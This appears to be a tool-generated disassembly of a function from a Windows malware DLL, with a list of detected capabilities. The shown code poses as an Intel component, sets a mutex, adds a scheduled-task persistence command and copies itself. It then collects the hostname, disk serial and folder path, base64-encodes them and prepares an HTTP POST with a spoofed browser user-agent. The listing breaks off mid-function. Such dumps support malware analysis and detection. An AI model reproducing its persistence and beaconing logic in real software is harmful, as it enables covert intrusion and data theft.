Function at 0x180001360
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Decode data using base64 via winapi
Encode data using base64 via winapi
Enumerate files on windows
Get common file path
Get disk information
Get file size
Get hostname
Link many functions at runtime
Read file on windows
Read pipe
Reference http user-agent string
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x4e18
call fcn.180016e60
sub rsp, rax
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rsp + 0x4e00], rax
mov dword [rsp + 0x58], 0
lea rax, [rsp + 0xe40]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x620]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xe40]
call fcn.180007080
nop
lea rax, [0x18001fb30]
mov qword [rsp + 0x628], rax
mov qword [rsp + 0x320], 0xffffffffffffffff
inc qword [rsp + 0x320]
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x320]
cmp word [rax + rcx*2], 0
jne 0x1800013d7
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x630], rax
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0x638], rax
mov r8, qword [rsp + 0x638]
lea rdx, [0x18001fb30]
lea rcx, [rsp + 0xe40]
call fcn.180007120
lea rax, [0x18001fb38]
mov qword [rsp + 0x640], rax
mov qword [rsp + 0x328], 0xffffffffffffffff
inc qword [rsp + 0x328]
mov rax, qword [rsp + 0x640]
mov rcx, qword [rsp + 0x328]
cmp word [rax + rcx*2], 0
jne 0x18000144d
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x648]
mov qword [rsp + 0x650], rax
mov r8, qword [rsp + 0x650]
lea rdx, [0x18001fb38]
lea rcx, [rsp + 0xe40]
call fcn.180007120
lea rax, str.ramdat
mov qword [rsp + 0x658], rax
mov qword [rsp + 0x330], 0xffffffffffffffff
inc qword [rsp + 0x330]
mov rax, qword [rsp + 0x658]
mov rcx, qword [rsp + 0x330]
cmp word [rax + rcx*2], 0
jne 0x1800014c3
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0x668], rax
mov r8, qword [rsp + 0x668]
lea rdx, str.ramdat
lea rcx, [rsp + 0xe40]
call fcn.180007120
lea rax, str.aIntel
mov qword [rsp + 0x670], rax
mov qword [rsp + 0x338], 0xffffffffffffffff
inc qword [rsp + 0x338]
mov rax, qword [rsp + 0x670]
mov rcx, qword [rsp + 0x338]
cmp word [rax + rcx*2], 0
jne 0x180001539
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x678], rax
mov rax, qword [rsp + 0x678]
mov qword [rsp + 0x680], rax
mov r8, qword [rsp + 0x680]
lea rdx, str.aIntel
lea rcx, [rsp + 0xe40]
call fcn.180007120
lea rax, str.IntelWiDiUMS64.exe
mov qword [rsp + 0x688], rax
mov qword [rsp + 0x340], 0xffffffffffffffff
inc qword [rsp + 0x340]
mov rax, qword [rsp + 0x688]
mov rcx, qword [rsp + 0x340]
cmp word [rax + rcx*2], 0
jne 0x1800015af
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x690], rax
mov rax, qword [rsp + 0x690]
mov qword [rsp + 0x698], rax
mov r8, qword [rsp + 0x698]
lea rdx, str.IntelWiDiUMS64.exe
lea rcx, [rsp + 0xe40]
call fcn.180007120
lea rax, [rsp + 0x29e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x29e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0xa
call fcn.1800094f8
mov qword [rsp + 0x6a0], rax
mov rax, qword [rsp + 0x6a0]
mov qword [rsp + 0x6a8], rax
movzx eax, byte [0x1800249e0]
mov rcx, qword [rsp + 0x6a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b0], rax
mov rcx, qword [rsp + 0x6b0]
call fcn.1800094b4
lea rax, [rsp + 0xe40]
mov rcx, rax
call fcn.180007210
mov qword [rsp + 0x6b8], rax
lea rdx, [rsp + 0x29e0]
mov rcx, qword [rsp + 0x6b8]
call fcn.18000dcf4
test eax, eax
jne 0x18000174f
lea r8, str.IntelWiDiUMS64_
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x378], rax
cmp qword [rsp + 0x378], 0
je 0x1800016e7
cmp qword [rsp + 0x378], 0xffffffffffffffff
jne 0x18000170b
mov dword [rsp + 0x358], 0
lea rcx, [rsp + 0xe40]
call fcn.180006fb0
mov eax, dword [rsp + 0x358]
jmp 0x180006815
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x18000174a
mov rcx, qword [rsp + 0x378]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x35c], 0
lea rcx, [rsp + 0xe40]
call fcn.180006fb0
mov eax, dword [rsp + 0x35c]
jmp 0x180006815
jmp 0x180001a05
mov eax, dword [0x18001fb34]
mov dword [rsp + 0x2050], eax
lea rax, [rsp + 0x2054]
mov rdi, rax
xor eax, eax
mov ecx, 0x18c
rep stosb byte [rdi], al
lea rdx, str.chtas
lea rcx, [rsp + 0x2050]
call fcn.180007660
lea rdx, [0x18001fbc0]
lea rcx, [rsp + 0x2050]
call fcn.180007660
lea rdx, str.ate__sc_min
lea rcx, [rsp + 0x2050]
call fcn.180007660
lea rdx, str.ute__mo_5__t
lea rcx, [rsp + 0x2050]
call fcn.180007660
lea rdx, [0x18001fc08]
lea rcx, [rsp + 0x2050]
call fcn.180007660
lea rdx, str.__tr
lea rcx, [rsp + 0x2050]
call fcn.180007660
lea rcx, [rsp + 0xe40]
call fcn.180006830
mov rdx, rax
lea rcx, [rsp + 0x2050]
call fcn.180007660
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [0x18001fc38]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rsp + 0xe40]
call fcn.180006830
mov r8d, 1
mov rdx, rax
lea rcx, [rsp + 0x29e0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1800019d8
lea rax, [rsp + 0x10e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x10e0], 0x68
lea rax, [rsp + 0xcf0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0x10e0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [rsp + 0x111c], 1
xor eax, eax
mov word [rsp + 0x1120], ax
lea rax, [rsp + 0xcf0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x10e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x2050]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0xcf0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xcf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x18001fbbc]
mov dword [rsp + 0x25c0], eax
lea rax, [rsp + 0x25c4]
mov rdi, rax
xor eax, eax
mov ecx, 0x204
rep stosb byte [rdi], al
lea rdx, [0x18001fc68]
lea rcx, [rsp + 0x25c0]
call fcn.180007630
lea rdx, [0x18001fca0]
lea rcx, [rsp + 0x25c0]
call fcn.180007630
mov r8d, 0x104
lea rdx, [rsp + 0x2bf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dx, 0x5c
lea rcx, [rsp + 0x2bf0]
call fcn.180001000
mov qword [rsp + 0x6c0], rax
xor eax, eax
mov rcx, qword [rsp + 0x6c0]
mov word [rcx + 2], ax
lea rdx, [0x18001fcd0]
lea rcx, [rsp + 0x2bf0]
call fcn.180007630
xor r8d, r8d
lea rdx, [rsp + 0x25c0]
lea rcx, [rsp + 0x2bf0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movzx eax, word [0x18001fc04]
mov word [rsp + 0x1a00], ax
lea rax, [rsp + 0x1a02]
mov rdi, rax
xor eax, eax
mov ecx, 0x62
rep stosb byte [rdi], al
lea r8, str.inHttp
mov edx, 0x64
lea rcx, [rsp + 0x1a00]
call fcn.18000df4c
lea rax, [rsp + 0x1de0]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1e50]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1ec0]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1f30]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1fa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1bb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1c20]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1c90]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1d00]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x1d70]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1de0]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1e50]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1ec0]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1f30]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1fa0]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1bb0]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1c20]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1c90]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1d00]
call fcn.18000df4c
lea r8, [rsp + 0x1a00]
mov edx, 0x64
lea rcx, [rsp + 0x1d70]
call fcn.18000df4c
lea rax, [rsp + 0x23f0]
mov rdi, rax
xor eax, eax
mov ecx, 0xc8
rep stosb byte [rdi], al
mov dword [rsp + 0xdf0], 0x64
lea rdx, [rsp + 0xdf0]
lea rcx, [rsp + 0x23f0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rax, [rsp + 0x3200]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0x3200]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [rsp + 0xdc8], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xdc8]
xor r8d, r8d
xor edx, edx
lea rcx, [0x18001fd00]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
lea r8, str.Open
mov edx, 0x64
lea rcx, [rsp + 0x1de0]
call fcn.18000df4c
lea r8, str.Connect
mov edx, 0x64
lea rcx, [rsp + 0x1e50]
call fcn.18000df4c
lea r8, str.OpenRequest
mov edx, 0x64
lea rcx, [rsp + 0x1ec0]
call fcn.18000df4c
lea r8, str.QueryOption
mov edx, 0x64
lea rcx, [rsp + 0x1f30]
call fcn.18000df4c
lea r8, str.SetOption
mov edx, 0x64
lea rcx, [rsp + 0x1fa0]
call fcn.18000df4c
lea r8, str.SendRequest
mov edx, 0x64
lea rcx, [rsp + 0x1bb0]
call fcn.18000df4c
lea r8, str.ReceiveResponse
mov edx, 0x64
lea rcx, [rsp + 0x1c20]
call fcn.18000df4c
lea r8, str.QueryDataAvailable
mov edx, 0x64
lea rcx, [rsp + 0x1c90]
call fcn.18000df4c
lea r8, str.ReadData
mov edx, 0x64
lea rcx, [rsp + 0x1d00]
call fcn.18000df4c
lea r8, [0x18001fd98]
mov edx, 0x64
lea rcx, [rsp + 0x1d70]
call fcn.18000df4c
lea rdx, [0x18001fc34]
lea rcx, [rsp + 0xe80]
call fcn.180006e10
nop
lea rax, [rsp + 0x13e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x214
rep stosb byte [rdi], al
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x6c8]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xdd0]
call fcn.180007080
nop
mov eax, dword [0x18001fc64]
mov dword [rsp + 0x1ae0], eax
lea rax, [rsp + 0x1ae4]
mov rdi, rax
xor eax, eax
mov ecx, 0xc4
rep stosb byte [rdi], al
lea r8, [0x18001fd8c]
mov edx, 0x64
lea rcx, [rsp + 0x1ae0]
call fcn.18000decc
lea r8, [0x18001fc9c]
mov edx, 0x64
lea rcx, [rsp + 0x1ae0]
call fcn.18000decc
lea r8, [0x18001fda4]
mov edx, 0x64
lea rcx, [rsp + 0x1ae0]
call fcn.18000decc
lea r8, [0x18001fccc]
mov edx, 0x64
lea rcx, [rsp + 0x1ae0]
call fcn.18000decc
lea r8, [0x18001fdac]
mov edx, 0x64
lea rcx, [rsp + 0x1ae0]
call fcn.18000decc
lea r8, [0x18001fdb4]
mov edx, 0x64
lea rcx, [rsp + 0x1ae0]
call fcn.18000decc
lea rcx, [rsp + 0x1ae0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0xa8], rax
lea rdx, [rsp + 0x1de0]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025cd0], rax
lea rdx, [rsp + 0x1e50]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025ce8], rax
lea rdx, [rsp + 0x1ec0]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025ce0], rax
lea rdx, [rsp + 0x1f30]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025d10], rax
lea rdx, [rsp + 0x1fa0]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025cd8], rax
lea rdx, [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025d18], rax
lea rdx, [rsp + 0x1c20]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025d08], rax
lea rdx, [rsp + 0x1c90]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025d00], rax
lea rdx, [rsp + 0x1d00]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025cc8], rax
lea rdx, [rsp + 0x1d70]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025cf0], rax
mov eax, dword [0x18001fcfc]
mov dword [rsp + 0x3410], eax
lea rax, [rsp + 0x3414]
mov rdi, rax
xor eax, eax
mov ecx, 0x7fc
rep stosb byte [rdi], al
lea r8, [0x18001fdbc]
mov edx, 0x400
lea rcx, [rsp + 0x3410]
call fcn.18000decc
lea r8, [0x18001fd24]
mov edx, 0x400
lea rcx, [rsp + 0x3410]
call fcn.18000decc
lea r8, [0x18001fdc4]
mov edx, 0x400
lea rcx, [rsp + 0x3410]
call fcn.18000decc
lea r8, [0x18001fdcc]
mov edx, 0x400
lea rcx, [rsp + 0x3410]
call fcn.18000decc
lea r8, [0x18001fdd4]
mov edx, 0x400
lea rcx, [rsp + 0x3410]
call fcn.18000decc
lea r8, [0x18001fddc]
mov edx, 0x400
lea rcx, [rsp + 0x3410]
call fcn.18000decc
lea rax, [rsp + 0x2e00]
lea rcx, [0x18001fd34]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x2e03]
mov rdi, rax
xor eax, eax
mov ecx, 0x3fd
rep stosb byte [rdi], al
lea r8, [0x18001fd44]
mov edx, 0x400
lea rcx, [rsp + 0x2e00]
call fcn.18000df4c
lea r8, [0x18001fd54]
mov edx, 0x400
lea rcx, [rsp + 0x2e00]
call fcn.18000df4c
lea r8, [0x18001fd7c]
mov edx, 0x400
lea rcx, [rsp + 0x2e00]
call fcn.18000df4c
lea r8, [0x18001fd94]
mov edx, 0x400
lea rcx, [rsp + 0x2e00]
call fcn.18000df4c
lea r8, [0x18001fde4]
mov edx, 0x400
lea rcx, [rsp + 0x2e00]
call fcn.18000df4c
lea rcx, [rsp + 0x3410]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x6d0], rax
lea rdx, [rsp + 0x2e00]
mov rcx, qword [rsp + 0x6d0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180025cf8], rax
lea rdx, [0x18001fde8]
lea rcx, [rsp + 0xf00]
call fcn.180006980
nop
xor eax, eax
cmp eax, 1
je 0x1800066a8
mov ecx, 0xa
call fcn.1800094f8
mov qword [rsp + 0x6d8], rax
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x6e0], rax
movzx eax, byte [0x1800249e0]
mov rcx, qword [rsp + 0x6e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e8], rax
mov rcx, qword [rsp + 0x6e8]
call fcn.1800094b4
mov eax, dword [rsp + 0xdc8]
mov dword [rsp + 0x13e0], eax
mov dword [rsp + 0x13e4], 0
mov eax, dword [rsp + 0xdc8]
mov dword [rsp + 0x13e8], eax
lea r8, [rsp + 0x23f0]
mov edx, 0x104
lea rcx, [rsp + 0x13ec]
call fcn.18000de64
lea r8, [0x18001fe04]
mov edx, 0x104
lea rcx, [rsp + 0x13ec]
call fcn.18000decc
lea r8, [rsp + 0x3200]
mov edx, 0x104
lea rcx, [rsp + 0x13ec]
call fcn.18000decc
nop
lea rax, [rsp + 0xe20]
mov qword [rsp + 0x6f0], rax
mov rax, qword [rsp + 0x6f0]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xe20]
call fcn.180007350
nop
lea rax, [rsp + 0xe60]
mov qword [rsp + 0x6f8], rax
mov rax, qword [rsp + 0x6f8]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xe60]
call fcn.180007350
nop
mov rax, qword [rsp + 0xde0]
mov qword [rsp + 0x700], rax
cmp qword [rsp + 0x700], 0
jbe 0x180002311
mov rax, qword [rsp + 0xde0]
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x708]
lea rax, [rax + rax + 2]
mov qword [rsp + 0x348], rax
jmp 0x18000231d
mov qword [rsp + 0x348], 0
mov rax, qword [rsp + 0xde0]
mov qword [rsp + 0x710], rax
cmp qword [rsp + 0x710], 0
jbe 0x1800023ed
mov rax, qword [rsp + 0xc10]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x380]
cmp qword [rax + 0x18], 8
jb 0x180002388
mov dword [rsp + 0x178], 1
jmp 0x180002393
mov dword [rsp + 0x178], 0
movzx eax, byte [rsp + 0x178]
mov byte [rsp + 0x7d], al
movzx eax, byte [rsp + 0x7d]
test eax, eax
je 0x1800023cb
mov rax, qword [rsp + 0x380]
mov rax, qword [rax]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x718]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x720], rax
mov rax, qword [rsp + 0x720]
mov qword [rsp + 0x148], rax
jmp 0x1800023f9
mov qword [rsp + 0x148], 0
lea rcx, [rsp + 0x1040]
call fcn.180006f20
nop
cmp qword [rsp + 0x148], 0
je 0x180002422
mov eax, dword [rsp + 0x348]
mov dword [rsp + 0x17c], eax
jmp 0x18000242d
mov dword [rsp + 0x17c], 0
mov eax, dword [rsp + 0x17c]
add rax, 0x214
mov dword [rsp + 0xf0], eax
mov eax, dword [rsp + 0xf0]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0x728], rax
mov rax, qword [rsp + 0x728]
mov qword [rsp + 0x150], rax
cmp qword [rsp + 0x150], 0
je 0x1800026b5
lea rax, [rsp + 0x1040]
mov qword [rsp + 0x4e8], rax
lea rax, [rsp + 0xe80]
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x730]
cmp qword [rsp + 0x4e8], rax
je 0x1800024db
lea rax, [rsp + 0x5c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r8d, byte [rsp + 0x5c]
lea rdx, [rsp + 0xe80]
mov rcx, qword [rsp + 0x4e8]
call fcn.1800073f0
lea rax, [rsp + 0x13e0]
mov rdi, qword [rsp + 0x150]
mov rsi, rax
mov ecx, 0x214
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x148], 0
je 0x18000252f
cmp dword [rsp + 0x348], 0
jbe 0x18000252f
mov eax, dword [rsp + 0x348]
mov rcx, qword [rsp + 0x150]
add rcx, 0x214
mov rdi, rcx
mov rsi, qword [rsp + 0x148]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1e8], 0
mov eax, 0x40000000
or eax, 1
lea rcx, [rsp + 0xcb8]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, eax
mov edx, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x1800025dc
mov eax, dword [rsp + 0xcb8]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0x738], rax
mov rax, qword [rsp + 0x738]
mov qword [rsp + 0x1e8], rax
cmp qword [rsp + 0x1e8], 0
je 0x1800025dc
mov eax, 0x40000000
or eax, 1
lea rcx, [rsp + 0xcb8]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x1e8]
mov r8d, eax
mov edx, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x740], rax
mov qword [rsp + 0x270], 0xffffffffffffffff
inc qword [rsp + 0x270]
mov rax, qword [rsp + 0x740]
mov rcx, qword [rsp + 0x270]
cmp byte [rax + rcx], 0
jne 0x180002608
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x748], rax
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0x750], rax
mov r8, qword [rsp + 0x750]
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0x1040]
call fcn.180006bc0
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x4f0], rax
mov rcx, qword [rsp + 0x4f0]
call fcn.1800094b4
cmp qword [rsp + 0x4f0], 0
jne 0x180002699
mov qword [rsp + 0x758], 0
jmp 0x1800026b5
mov qword [rsp + 0x158], 0x8123
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x758], rax
lea rdx, [rsp + 0x1040]
lea rcx, [rsp + 0xc78]
call fcn.180006d30
mov eax, dword [rsp + 0x58]
or eax, 1
mov dword [rsp + 0x58], eax
lea rcx, [rsp + 0x1040]
call fcn.180007280
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x4f8], rax
lea rax, [rsp + 0xe60]
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0x4f8]
mov qword [rsp + 0x760], rax
mov rax, qword [rsp + 0x760]
cmp qword [rsp + 0x500], rax
je 0x180002750
lea rax, [rsp + 0x5d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r8d, byte [rsp + 0x5d]
mov rdx, qword [rsp + 0x4f8]
mov rcx, qword [rsp + 0x500]
call fcn.1800074d0
lea rcx, [rsp + 0xc78]
call fcn.180007280
nop
xor edx, edx
lea rcx, [rsp + 0xdd0]
call fcn.1800070d0
nop
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x388]
cmp qword [rax + 0x18], 8
jb 0x1800027aa
mov dword [rsp + 0x188], 1
jmp 0x1800027b5
mov dword [rsp + 0x188], 0
movzx eax, byte [rsp + 0x188]
mov byte [rsp + 0x5e], al
movzx eax, byte [rsp + 0x5e]
test eax, eax
je 0x1800027ed
mov rax, qword [rsp + 0x388]
mov rax, qword [rax]
mov qword [rsp + 0x768], rax
mov rax, qword [rsp + 0x768]
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x770], rax
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x510], rax
lea rax, str._123_4_5_
mov qword [rsp + 0x3d8], rax
cmp qword [rsp + 0x510], 0
je 0x180002832
cmp qword [rsp + 0x3d8], 0
jne 0x18000283c
mov byte [rsp + 0x50], 0
jmp 0x180002e89
mov dword [rsp + 0xc98], 0
mov dword [rsp + 0xdf8], 0
mov dword [rsp + 0x84], 0
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0xa0], 0
xor edx, edx
lea rcx, [rsp + 0xe20]
call fcn.1800073a0
nop
lea rcx, [rsp + 0xf20]
call fcn.180006a90
nop
lea rax, str.Mozilla
mov qword [rsp + 0x778], rax
mov qword [rsp + 0x278], 0xffffffffffffffff
inc qword [rsp + 0x278]
mov rax, qword [rsp + 0x778]
mov rcx, qword [rsp + 0x278]
cmp word [rax + rcx*2], 0
jne 0x1800028ba
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x780], rax
mov rax, qword [rsp + 0x780]
mov qword [rsp + 0x788], rax
mov r8, qword [rsp + 0x788]
lea rdx, str.Mozilla
lea rcx, [rsp + 0xf20]
call fcn.180007120
lea rax, str._5.0__Windows_NT_10.0__Win64__x64_
mov qword [rsp + 0x790], rax
mov qword [rsp + 0x280], 0xffffffffffffffff
inc qword [rsp + 0x280]
mov rax, qword [rsp + 0x790]
mov rcx, qword [rsp + 0x280]
cmp word [rax + rcx*2], 0
jne 0x180002930
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x798], rax
mov rax, qword [rsp + 0x798]
mov qword [rsp + 0x7a0], rax
mov r8, qword [rsp + 0x7a0]
lea rdx, str._5.0__Windows_NT_10.0__Win64__x64_
lea rcx, [rsp + 0xf20]
call fcn.180007120
lea rax, str.AppleWebKit_537.36__KHTML__like_Gecko_
mov qword [rsp + 0x7a8], rax
mov qword [rsp + 0x2d0], 0xffffffffffffffff
inc qword [rsp + 0x2d0]
mov rax, qword [rsp + 0x7a8]
mov rcx, qword [rsp + 0x2d0]
cmp word [rax + rcx*2], 0
jne 0x1800029a6
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x7b0], rax
mov rax, qword [rsp + 0x7b0]
mov qword [rsp + 0x7b8], rax
mov r8, qword [rsp + 0x7b8]
lea rdx, str.AppleWebKit_537.36__KHTML__like_Gecko_
lea rcx, [rsp + 0xf20]
call fcn.180007120
lea rax, [rsp + 0xf20]
mov rcx, rax
call fcn.180007210
mov qword [rsp + 0x7c0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0x7c0]
call qword [0x180025cd0]
mov qword [rsp + 0x168], rax
cmp qword [rsp + 0x168], 0
je 0x180002a73
xor r9d, r9d
mov r8w, 0x20fb
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rsp + 0x168]
call qword [0x180025ce8]
mov qword [rsp + 0x160], rax
cmp qword [rsp + 0x160], 0
je 0x180002ac0
mov dword [rsp + 0x30], 0x800100
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x3d8]
lea rdx, str.POST
mov rcx, qword [rsp + 0x160]
call qword [0x180025ce0]
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xdf4], 4
lea r9, [rsp + 0xdf4]
lea r8, [rsp + 0xdbc]
mov edx, 0x1f
